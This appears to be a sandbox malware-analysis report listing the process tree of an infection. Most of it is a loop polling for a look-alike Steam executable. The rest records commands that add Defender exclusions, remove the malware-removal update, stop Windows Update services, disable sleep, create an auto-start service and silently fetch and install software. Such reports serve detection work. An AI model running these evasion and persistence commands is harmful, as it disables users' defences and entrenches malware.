C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3900

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4092

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5204

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1436

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5044

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4684

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4108

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2380

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1588

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5444

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4420

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3544

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:396

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5760

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2244

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4712

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4944

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5896

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2704

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5516

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3468

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5568

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4996

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4492

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3996

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5020

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3900

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3124

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2168

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5880

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5632

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2532

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:784

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1488

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5944

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5796

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5936

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5472

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:968

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1984

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3948

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5320

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6092

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1152

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:760

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1084

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:924

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5856

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5080

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3888

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5388

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6028

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2324

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5928

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4300

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1608

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2560

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4296

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4304

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1712

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5160

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4108

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:340

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2620

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3184

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4376

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2392

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5448

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3568

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5440

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:656

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5048

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4932

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5216

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:404

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1864

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5292

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5924

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4276

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2116

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4612

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2120

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1540

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5860

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5008

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4640

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5020

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5212

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2840

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2836

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4684

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1092

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2856

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3976

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5936

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2456

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1968

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1716

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1984

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4832

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4620

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5772

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4416

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4040

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2244

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2228

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4260

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2184

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5896

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4448

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4004

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5784

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5856

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2816

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5204

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2204

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1828

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6096

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4000

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5848

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1640

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4868

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:560

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5512

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4452

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2620

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1964

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:904

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2392

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1056

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2988

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2468

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2040

C:\Users\Admin\AppData\Roaming\lysewm5x.ir01.exe
"C:\Users\Admin\AppData\Roaming\lysewm5x.ir01.exe"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4168

C:\Users\Admin\AppData\Roaming\lysewm5x.ir02.exe
"C:\Users\Admin\AppData\Roaming\lysewm5x.ir02.exe"
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3080

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
5⤵
- Suspicious use of WriteProcessMemory
PID:4304

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
6⤵
PID:3948

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
5⤵
- Launches sc.exe
PID:2900

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:5548

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
5⤵
- Launches sc.exe
PID:5604

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
5⤵
- Launches sc.exe
PID:2224

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
5⤵
- Launches sc.exe
PID:1104

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
5⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3208

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
5⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5168

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
5⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5372

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
5⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5364

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "AAWUFTXN"
5⤵
- Launches sc.exe
PID:5936

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"
5⤵
- Launches sc.exe
PID:2852

C:\Users\Admin\AppData\Roaming\lysewm5x.ir03.exe
"C:\Users\Admin\AppData\Roaming\lysewm5x.ir03.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5908

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3498.tmp\34A8.tmp\34A9.bat C:\Users\Admin\AppData\Roaming\lysewm5x.ir03.exe"
5⤵
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4200

C:\Windows\system32\where.exe
where node
6⤵
PID:5808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:412

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:4192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3484

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3736

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3928

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3612

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4708

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2336

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1372

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1424

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:3660

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
1⤵
PID:1592

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.70 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=122.0.2365.52 --initial-client-data=0x238,0x23c,0x240,0x234,0x2f0,0x7ffd7c282e98,0x7ffd7c282ea4,0x7ffd7c282eb0
2⤵
PID:4604

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=2340 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:3
2⤵
PID:3580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1328 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
2⤵
PID:5840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:5284

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe
1⤵
PID:5832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:712

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3924

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3980

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:1376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:1584

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 456 -p 5916 -ip 5916
2⤵
PID:4560

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 572 -p 3728 -ip 3728
2⤵
PID:4144

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4768

C:\Windows\System32\MsiExec.exe
C:\Windows\System32\MsiExec.exe -Embedding CFD59AA437D0BB2A7B9255B8B6644E73
2⤵
PID:4764

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER17E3.tmp.csv
Filesize
44KB

MD5
3c3620183a2245b613c86589b53beb95

SHA1
1a83fff71594f585ebf1096363bcb1026a9c266b

SHA256
b709b5c8ca08cdc050f02c5b4b49c3bf8b2e4e9f2334ac93372f7214b2004e0f

SHA512
1cb7a0a4c32adc5833181a3844a5e6fff4859c393764d32a295f6656859a03a3eaeae0867f1b8630f0f8642a5a3bc044a17d5c1e7063d65f4197342237e54733

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1852.tmp.txt
Filesize
13KB

MD5
b45cc4bcac8e9f7e9a6336b78b99c87c

SHA1
ac1e79259dfa9ba6b4d22ede8bf81e16bdf92085

SHA256
b3b7471d6e1b43fe2184977174e4ab36c3d2c5c7b850f48415bbd89330462345

SHA512
659938501cf2c7e081408e2245e3baae7d9918292b535160e0f41ab09d70a30f5c840df7c39363db1ee27ef3c007b20a26bd4b46ceebce7a86c5120cc3848393

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3735.tmp.csv
Filesize
45KB

MD5
d5718031e2164289ec5aff8d86469958

SHA1
963adfb6469b57ee7e2fffbc7bfd22bb4978935f

SHA256
